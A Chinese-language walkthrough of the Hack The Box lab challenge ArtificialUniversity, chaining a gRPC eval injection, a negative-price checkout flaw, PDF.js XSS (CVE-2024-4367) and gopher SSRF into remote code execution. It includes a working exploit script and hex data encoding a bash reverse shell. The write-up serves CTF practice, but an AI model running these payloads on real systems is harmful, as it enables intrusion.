Hack the Box 靶场练习-INSANE-ArtificialUniversity
字数 1810 2025-08-29 08:30:25
Hack The Box INSANE难度靶场:ArtificialUniversity 漏洞分析与利用教学
1. 靶场概述
ArtificialUniversity是Hack The Box上INSANE难度的Web挑战题目,模拟了一个在线教育平台的课程商城模块。该靶场由两个主要组件构成:
- gRPC服务:product_api服务,运行在50051端口
- Flask Web应用:store商城Web界面,运行在1337端口
对外只开放Web端口(1337),需要通过Web应用找到触发gRPC机制的方法来完成题目,最终目标是实现远程代码执行(RCE)。
2. gRPC服务漏洞分析
2.1 关键漏洞点
在api.py中发现以下关键函数:
-
GenerateProduct函数:包含
eval()调用,存在代码执行风险- 只有
GetNewProducts函数调用了GenerateProduct - 需要控制
price_formula参数才能利用
- 只有
-
UpdateService函数:可以修改键值对属性
- 被对外函数
DebugService调用 DebugService接收客户端参数并调用UpdateService
- 被对外函数
2.2 利用链构造
构造以下利用链:
- 调用
DebugService修改price_formula为恶意命令 - 调用
GetNewProducts触发eval执行
2.3 漏洞利用代码
import grpc
import product_pb2
import product_pb2_grpc
from google.protobuf.struct_pb2 import Struct
def exploit():
# 连接到gRPC服务
channel = grpc.insecure_channel('127.0.0.1:50051')
stub = product_pb2_grpc.ProductServiceStub(channel)
# 构造恶意请求,设置price_formula为命令执行代码
merge_request = product_pb2.MergeRequest()
merge_request.input['price_formula'].string_value = "__import__('os').system('touch /tmp/pwn')"
# 使用DebugService修改price_formula
print("[*] Sending malicious DebugService request...")
stub.DebugService(merge_request)
# 调用GetNewProducts触发eval执行
print("[*] Triggering GenerateProduct to execute the payload...")
response = stub.GetNewProducts(product_pb2.Empty())
print("Response received:", response)
if __name__ == "__main__":
exploit()
2.4 生成gRPC模块
使用项目自带的proto文件生成gRPC模块:
python -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. product.proto
3. Web应用漏洞分析
3.1 /checkout/success接口漏洞
在/checkout/success接口发现可疑操作:
- 满足条件
if amt_paid >= order.price后会自动传入admin账号密码调用bot_runner bot_runner模拟Firefox浏览器访问获取支付订单PDFpayment_id参数可控,可构造payment_id=.admin/xxx实现admin接口访问
3.2 /checkout接口逻辑漏洞
/checkout接口存在奇怪的逻辑:
- 传入
product_id会生成默认订单 - 不传
product_id但包含完整参数(price,title,user_id,email)可绕过登录验证 - 可创建price为负数的订单
利用步骤:
- 登录后访问
/subs获取创建负数价格订单的order_id - 结合
/checkout/success实现admin接口访问:/checkout/success?order_id=6&payment_id=admin/xxx
3.3 /admin/view-pdf接口
在admin接口下找到view-pdf接口,可根据URL参数预览PDF内容。
3.4 PDF.js XSS漏洞利用
利用PDF.js的XSS漏洞(CVE-2024-4367)构造自动跳转并携带POST内容的payload:
- 服务器模拟Firefox打开PDF时可实现发送POST请求
- 可访问
/admin/api-health等接口
4. 组合利用实现RCE
4.1 /admin/api-health接口
api-health接口通过POST请求调用get_url_status_code函数:
- 使用
subprocess模块模拟终端curl请求 - 可构造gopher协议攻击内网gRPC服务
4.2 gRPC请求转gopher协议
- 本地运行
api.py并用Wireshark捕获exp执行过程 - 复制请求部分的raw数据
- 使用转换脚本生成gopher URL:
import binascii
import urllib.parse
def hex_to_gopher(hex_str: str) -> str:
# 清理非Hex字符
cleaned = hex_str.replace("\n", "").strip()
# 验证Hex长度
if len(cleaned) % 2 != 0:
raise ValueError("无效的Hex长度")
try:
binary = binascii.unhexlify(cleaned)
except binascii.Error as e:
raise ValueError(f"Hex解码失败: {str(e)}")
# 基础协议验证
if not binary.startswith(b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n'):
raise ValueError("无效的HTTP/2魔术字节")
# 生成gopher URL
encoded = urllib.parse.quote(binary, safe='')
return f"gopher://127.0.0.1:50051/_{encoded}"
# 输入数据(已清理的连续Hex)
raw_hex = """505249202a20485454502f322e300d0a0d0a534d0d0a0d0a000024040000000000000200000000000300000000000400400000000500400000000600004000fe0300000001000004080000000000003f00010000000401000000000000e101040000000140053a70617468242f70726f647563742e50726f64756374536572766963652f446562756753657276696365400a3a617574686f726974790f6c6f63616c686f73743a35303035318386400c636f6e74656e742d74797065106170706c69636174696f6e2f677270634002746508747261696c6572734014677270632d6163636570742d656e636f64696e67176964656e746974792c206465666c6174652c20677a6970400a757365722d6167656e7430677270632d707974686f6e2f312e37302e3020677270632d632f34352e302e3020286c696e75783b2063687474703229000004080000000001000000050000ce00010000000100000000c90ac6010a0d70726963655f666f726d756c6112b4010ab1015f5f696d706f72745f5f28276f7327292e73797374656d2827707974686f6e33202d63205c27696d706f727420736f636b65742c6f732c7074793b733d736f636b65742e736f636b657428293b732e636f6e6e6563742828223137322e31372e302e31222c3637363729293b5b6f732e6475703228732e66696c656e6f28292c66642920666f7220666420696e2028302c312c32295d3b7074792e737061776e28222f62696e2f6261736822295c272729000004080000000000000000050000080601000000002c20317a14a3fad2000008060000000000deac00f8ef07f63c00003501040000000340053a70617468262f70726f647563742e50726f64756374536572766963652f4765744e657750726f6475637473c38386c2c1c0bf0000040800000000030000000500000500010000000300000000000000040800000000000000000500000806010000000049be420c8749b031"""
try:
# 生成URL
gopher_url = hex_to_gopher(raw_hex)
print("成功生成gopher URL:")
print(gopher_url)
except ValueError as e:
print("错误:", str(e))
4.3 完整利用步骤
-
准备阶段:
- 使用Wireshark捕获反弹shell的gRPC请求
- 转换raw数据为gopher协议URL
- 制作自动跳转PDF(包含XSS payload)
-
攻击阶段:
- 将PDF放在可访问的VPS上
- 开启nc监听反弹shell
- 创建price为负数的订单
- 访问
/checkout/success触发PDF访问
-
结果获取:
- 通过反弹shell获取flag